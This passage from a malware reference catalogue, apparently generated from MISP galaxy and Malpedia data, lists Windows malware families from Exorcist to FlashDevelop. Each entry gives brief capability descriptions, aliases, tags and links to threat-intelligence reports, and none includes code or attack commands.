https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration
https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool

https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up

Exorcist

According to PCrisk, Exorcist is a ransomware-type malicious program. Systems infected with this malware experience data encryption and users receive ransom demands for decryption. During the encryption process, all compromised files are appended with an extension consisting of a ransom string of characters.

For example, a file originally named "1.jpg" could appear as something similar to "1.jpg.rnyZoV" following encryption. After this process is complete, Exorcist ransomware changes the desktop wallpaper and drops HTML applications - "[random-string]-decrypt.hta" (e.g. "rnyZoV-decrypt.hta") - into affected folders. These files contain identical ransom messages.

The tag is: *misp-galaxy:malpedia="Exorcist"*

Exorcist is also known as:

Table 3829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exorcist
https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81

Expiro

Expiro malware has been around for more than a decade, and the malware authors sill continue their work and update it with more features. Also the infection routine was changed in samples fround in 2017 (described by McAfee). Expiro "infiltrates" executables on 32- and 64bit Windows OS versions. It has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials). There is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.

The tag is: *misp-galaxy:malpedia="Expiro"*

Expiro is also known as:

- Xpiro

Table 3830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro
https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf

https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/
https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/
https://youtu.be/3RYbkORtFnk

ExplosiveRAT

The tag is: *misp-galaxy:malpedia="ExplosiveRAT"*

ExplosiveRAT is also known as:

Table 3831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/

Xtreme RAT

According to Trend MIcro, Extreme RAT (XTRAT, Xtreme Rat) is a Remote Access Trojan that can steal information. This RAT has been used in attacks targeting Israeli and Syrian governments last 2012.

This malware family of backdoors has the capability to receive commands such as File Management (Download, Upload, and Execute Files), Registry Management (Add, Delete, Query, and Modify Registry), Perform Shell Command, Computer Control (Shutdown, Log on/off), and Screen capture from a remote attacker. In addition, it can also log keystrokes of the infected systems.

The tag is: *misp-galaxy:malpedia="Xtreme RAT"*

Xtreme RAT is also known as:

- ExtRat

Table 3832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat
https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/

https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html
https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/
https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat
https://citizenlab.ca/2015/12/packrat-report/
https://blogs.360.cn/post/APT-C-44.html
https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017

Eye Pyramid

The tag is: *misp-galaxy:malpedia="Eye Pyramid"*

Eye Pyramid is also known as:

Table 3833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/
http://blog.talosintel.com/2017/01/Eye-Pyramid.html

EYService

EYService is the main part of the backdoor used by Nazar APT. This a passive backdoor that relies on, now discontinued, Packet Sniffer SDK (PSSDK) from Microolap.

The tag is: *misp-galaxy:malpedia="EYService"*

EYService is also known as:

Table 3834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice
https://research.checkpoint.com/2020/nazar-spirits-of-the-past/
https://blog.malwarelab.pl/posts/nazar_eyservice/
https://www.epicturla.com/blog/the-lost-nazar
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf

https://blog.malwarelab.pl/posts/nazar_eyservice_comm/

Fabookie

Fabookie is facebook account info stealer.

The tag is: *misp-galaxy:malpedia="Fabookie"*

Fabookie is also known as:

Table 3835. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie
https://inside.harfanglab.io/blog/articles/cyber-threat-intelligence/loader-galore-taskloader-at-the-start-of-a-pay-per-install-infection-chain/
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1

FakeCry

Malware written in .NET that mimics WannaCry.

The tag is: *misp-galaxy:malpedia="FakeCry"*

FakeCry is also known as:

Table 3836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakecry
https://securelist.com/in-expetrpetyas-shadow-fakecry-ransomware-wave-hits-ukraine/78973/

FakeRean

The tag is: *misp-galaxy:malpedia="FakeRean"*

FakeRean is also known as:

- Braviax

Table 3837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean
https://0x3asecurity.wordpress.com/2015/11/30/134260124544/
https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv

FakeTC

The tag is: *misp-galaxy:malpedia="FakeTC"*

FakeTC is also known as:

Table 3838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc
https://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf
http://www.welivesecurity.com/2015/07/30/operation-potao-express/

FakeWord

The tag is: *misp-galaxy:malpedia="FakeWord"*

FakeWord is also known as:

Table 3839. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/

fancyfilter

FancyFilter is a piece of code that documents code overlap between frameworks used by Regin and Equation Group.

The tag is: *misp-galaxy:malpedia="fancyfilter"*

fancyfilter is also known as:

- 0xFancyFilter

Table 3840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter
https://www.epicturla.com/previous-works/hitb2020-voltron-sta

Fanny

The tag is: *misp-galaxy:malpedia="Fanny"*

Fanny is also known as:

- DEMENTIAWHEEL

Table 3841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny
https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf
https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/

FantomCrypt

According to PCrisk, Fantom is a ransomware-type virus that imitates the Windows update procedure while encrypting files. This is unusual, since most ransomware encrypts files stealthily without showing any activity. During encryption, Fantom appends the names of encrypted files with the ".locked4", ".fantom" or ".locked" extension.

The tag is: *misp-galaxy:malpedia="FantomCrypt"*

FantomCrypt is also known as:

Table 3842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/

Farseer

The tag is: *misp-galaxy:malpedia="Farseer"*

Farseer is also known as:

Table 3843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/

FastLoader

FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations.

The tag is: *misp-galaxy:malpedia="FastLoader"*

FastLoader is also known as:

Table 3844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader

FastPOS

The tag is: *misp-galaxy:malpedia="FastPOS"*

FastPOS is also known as:

Table 3845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/

https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/
http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf
https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568

FatalRat

FatalRAT is a most-likely chinese remote access tool distributed through forums and Telegram channels. FatalRAT executes various anti-virtual machine tests to avoid detection before fully infecting systems. Upon successful infiltration, it decrypts configuration strings, disables the CTRL+ALT+DELETE function, and activates a keylogger.

The malware can establish persistence via registry modifications or service creation, collect sensitive data, and communicate with its command and control (C&C) server using encrypted methods. FatalRAT also employs techniques like brute-force attacks against weak passwords to propagate within networks.

The tag is: *misp-galaxy:malpedia="FatalRat"*

FatalRat is also known as:

- Sainbox RAT

Table 3846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat
https://www.youtube.com/watch?v=gjvnVZc11Vg
https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html
https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape
https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html

FatDuke

According to ESET Research, FatDuke is the current flagship backdoor of APT29 and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but ESET also have seen the operators dropping FatDuke using lateral movement tools such as PsExec.The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke that ESET have seen was compiled on May 24, 2019. They have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample.

Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, ESET have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.

The tag is: *misp-galaxy:malpedia="FatDuke"*

FatDuke is also known as:

Table 3847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf
https://www.secureworks.com/research/threat-profiles/iron-hemlock

Fauppod

The tag is: *misp-galaxy:malpedia="Fauppod"*

Fauppod is also known as:

Table 3848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fauppod
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

FCT

Ransomware.

The tag is: *misp-galaxy:malpedia="FCT"*

FCT is also known as:

Table 3849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fct
https://id-ransomware.blogspot.com/2020/02/fct-ransomware.html

FDMTP

FDMTP is a newly discovered hacking tool developed in .NET, used by Earth Preta. It functions as a

simple malware downloader and is based on the TouchSocket framework over the Duplex Message Transport Protocol (DMTP). In one campaign, threat actors embedded FDMTP in the data section of a DLL. This allows it to be launched through DLL side-loading. The embedded network configurations are encoded and encrypted to enhance security and evade detection, utilizing Base64 and DES encryption methods. It has been observed to serve as a secondary control tool, often deployed by the PUBLOAD backdoor.

The tag is: *misp-galaxy:malpedia="FDMTP"*

FDMTP is also known as:

Table 3850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fdmtp
https://www.trendmicro.com/en_in/research/24/i/earth-preta-new-malware-and-strategies.html

FeedLoad

The tag is: *misp-galaxy:malpedia="FeedLoad"*

FeedLoad is also known as:

Table 3851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

Felismus

The tag is: *misp-galaxy:malpedia="Felismus"*

Felismus is also known as:

Table 3852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Felixroot

The tag is: *misp-galaxy:malpedia="Felixroot"*

Felixroot is also known as:

Table 3853. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html

fengine

The tag is: *misp-galaxy:malpedia="fengine"*

fengine is also known as:

Table 3854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine
https://www.zscaler.jp/blogs/security-research/naver-ending-game-lazarus-apt

Fenix

The tag is: *misp-galaxy:malpedia="Fenix"*

Fenix is also known as:

Table 3855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fenix
https://dfir.ch/posts/botnex_fenix/
https://www.metabaseq.com/threat/fenix-botnet/

Feodo

Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.

The tag is: *misp-galaxy:malpedia="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

Table 3856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo
http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html
https://en.wikipedia.org/wiki/Maksim_Yakubets
http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html
https://memoryforensic.com/inside-cridex-memory-analysis-case-study/
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
https://feodotracker.abuse.ch/

FFDroider

According to PCrisk, FFDroider is a malicious program classified as a stealer. It is designed to extract and exfiltrate sensitive data from infected devices. FFDroider targets popular social media and e-commerce platforms in particular.

The tag is: *misp-galaxy:malpedia="FFDroider"*

FFDroider is also known as:

Table 3857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider
https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users
https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html

Ficker Stealer

According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we'll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.

The tag is: *misp-galaxy:malpedia="Ficker Stealer"*

Ficker Stealer is also known as:

Table 3858. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer
https://twitter.com/3xp0rtblog/status/1321209656774135810
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/
https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf

Fickle Stealer

The tag is: *misp-galaxy:malpedia="Fickle Stealer"*

Fickle Stealer is also known as:

Table 3859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fickle
https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain
https://catalyst.prodaft.com/public/report/larva-208s-new-campaign-targets-web3-developers/overview#heading-1000

FileIce

The tag is: *misp-galaxy:malpedia="FileIce"*

FileIce is also known as:

Table 3860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

Filerase

Filerase is a .net API-based utility capable of propagating and recursively deleting files.

The tag is: *misp-galaxy:malpedia="Filerase"*

Filerase is also known as:

Table 3861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems

Final1stSpy

The tag is: *misp-galaxy:malpedia="Final1stSpy"*

Final1stSpy is also known as:

Table 3862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/

FINALDRAFT (Windows)

The tag is: *misp-galaxy:malpedia="FINALDRAFT (Windows)"*

FINALDRAFT (Windows) is also known as:

Table 3863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.finaldraft
https://unit42.paloaltonetworks.com/advanced-backdoor-squidoor/
https://www.trendmicro.com/en_us/research/25/c/the-espionage-toolkit-of-earth-alux.html
https://www.elastic.co/security-labs/finaldraft
https://www.elastic.co/security-labs/fragile-web-ref7707

FindPOS

The tag is: *misp-galaxy:malpedia="FindPOS"*

FindPOS is also known as:

- Poseidon

Table 3864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos
https://blogs.cisco.com/security/talos/poseidon
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

FinFisher RAT

FinFisher is a commercial software used to steal information and spy on affected victims. It began with few functionalities which included password harvesting and information leakage, but now it is mostly known for its full Remote Access Trojan (RAT) capabilities. It is mostly known for being used in governmental targeted and lawful criminal investigations. It is well known for its anti-detection capabilities and use of VMProtect.

The tag is: *misp-galaxy:malpedia="FinFisher RAT"*

FinFisher RAT is also known as:

- FinSpy

Table 3865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2
https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization
https://github.com/RolfRolles/FinSpyVM
https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html

https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues
https://netzpolitik.org/2022/nach-pfaendung-staatstrojaner-hersteller-finfisher-ist-geschlossen-und-bleibt-es-auch/
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/
https://securelist.com/finspy-unseen-findings/104322/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/

FINTEAM

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

The tag is: *misp-galaxy:malpedia="FINTEAM"*

FINTEAM is also known as:

- TeamBot

Table 3866. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.finteam	
https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/	

Fireball

The tag is: *misp-galaxy:malpedia="Fireball"*

Fireball is also known as:

Table 3867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/

FireBird RAT

The tag is: *misp-galaxy:malpedia="FireBird RAT"*

FireBird RAT is also known as:

Table 3868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firebird_rat
https://twitter.com/casual_malware/status/1237775601035096064

Fire Chili

The purpose of this rootkit/driver is hiding and protecting malicious artifacts from user-mode components(e.g. files, processes, registry keys and network connections). According to Fortguard Labs, this malware uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations, why this malware has to rely on specific OS builds.

The tag is: *misp-galaxy:malpedia="Fire Chili"*

Fire Chili is also known as:

Table 3869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili
https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html

FireCrypt

The tag is: *misp-galaxy:malpedia="FireCrypt"*

FireCrypt is also known as:

Table 3870. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

FireMalv

The tag is: *misp-galaxy:malpedia="FireMalv"*

FireMalv is also known as:

Table 3871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

FirstRansom

The tag is: *misp-galaxy:malpedia="FirstRansom"*

FirstRansom is also known as:

Table 3872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom
https://twitter.com/JaromirHorejsi/status/815949909648150528

FishMaster

A custom loader for CobaltStrike.

The tag is: *misp-galaxy:malpedia="FishMaster"*

FishMaster is also known as:

- JollyJellyfish

Table 3873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster
https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/
https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021
https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E

FiveHands

The tag is: *misp-galaxy:malpedia="FiveHands"*

FiveHands is also known as:

- Thieflock

Table 3874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands
https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-financially-motivated-aggressive-group-carrying-out-ransomware-campaigns-active-iocs
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.esentire.com/blog/hacker-infrastructure-used-in-cisco-breach-discovered-attacking-a-top-workforce-management-corporation-russias-evil-corp-gang-suspected-reports-esentire
https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

FK_Undead

This malware family is mainly spread through various private server clients in bundles, and mainly tamper with user system network data packets through technical means such as TDI filtering, DNS hijacking, HTTP(s) injection, and HOSTS redirection, hijacking normal web page access to designated private server websites, and using security software cloud detection and killing data packet shielding, shutdown callback rewriting and other means to achieve counter-detection.

The tag is: *misp-galaxy:malpedia="FK_Undead"*

FK_Undead is also known as:

- Undead

Table 3875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fk_undead
https://gslab.qq.com/article-663-1.html

Flagpro

According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim's environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:

Download and execute a tool Execute OS commands and send results Collect and send Windows authentication information

The tag is: *misp-galaxy:malpedia="Flagpro"*

Flagpro is also known as:

- BUSYICE

Table 3876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf
https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/

https://vblocalhost.com/uploads/VB2021-50.pdf	
https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro	

Flame

The tag is: *misp-galaxy:malpedia="Flame"*

Flame is also known as:

- sKyWIper

Table 3877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flame
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://securelist.com/the-flame-questions-and-answers-51/34344/
https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf
https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf
https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.crysys.hu/publications/files/skywiper.pdf

FLASHFLOOD

```
 FLASHFLOOD will scan inserted removable drives for targeted files, and copy those
files from the
removable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy
additional data from the victim computer, such as system information
or contacts.
```

The tag is: *misp-galaxy:malpedia="FLASHFLOOD"*

FLASHFLOOD is also known as:

Table 3878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

FlashDevelop

According to Intezer, this is a shellcode loader.

The tag is: *misp-galaxy:malpedia="FlashDevelop"*

FlashDevelop is also known as:

Table 3879. Table References

Links
